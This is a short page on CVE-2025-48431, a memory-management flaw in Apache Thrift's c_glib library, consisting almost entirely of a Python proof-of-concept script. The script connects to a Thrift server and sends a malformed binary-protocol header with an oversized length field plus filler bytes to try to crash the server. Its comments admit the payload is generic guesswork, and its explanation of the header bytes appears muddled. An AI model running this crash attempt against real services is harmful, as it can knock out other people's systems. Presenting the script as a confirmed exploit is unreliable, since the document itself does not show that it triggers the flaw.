CVE-2025-48431 Apache Thrift 内存管理漏洞

import socket import sys # Target configuration TARGET_HOST = '127.0.0.1' TARGET_PORT = 9090 # This is a generic PoC to demonstrate sending malformed data to a Thrift server. # The specific payload structure depends on the service definition, but memory # management issues in c_glib are often triggered by unexpected sequence lengths # or malformed protocol headers. def send_malformed_payload(host, port): try: # Establish connection to the Thrift server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) # Constructing a potential malicious payload. # Often, sending a large size field followed by insufficient data # or violating protocol framing can trigger the free() error. # Example: Sending an invalid frame size or strict binary protocol violation. # Let's assume standard binary protocol header manipulation # A typical valid frame starts with version (4 bytes) and length (4 bytes). # Sending a mismatched length might trigger the vulnerability. malicious_payload = b"\x80\x01\x00\x01" # Standard Binary Protocol Magic & Version malicious_payload += b"\xFF\xFF\xFF\xFF" # Invalid large length field (4 bytes) # Append some garbage data malicious_payload += b"A" * 100 print(f"[*] Sending malformed payload to {host}:{port}...") s.sendall(malicious_payload) # Wait for response or timeout s.settimeout(2.0) response = s.recv(1024) print("[*] Server responded (might not crash immediately without specific trigger):") print(response) except ConnectionResetError: print("[!] Connection reset by peer - potential crash detected!") except Exception as e: print(f"[!] An error occurred: {e}") finally: s.close() if __name__ == "__main__": send_malformed_payload(TARGET_HOST, TARGET_PORT)
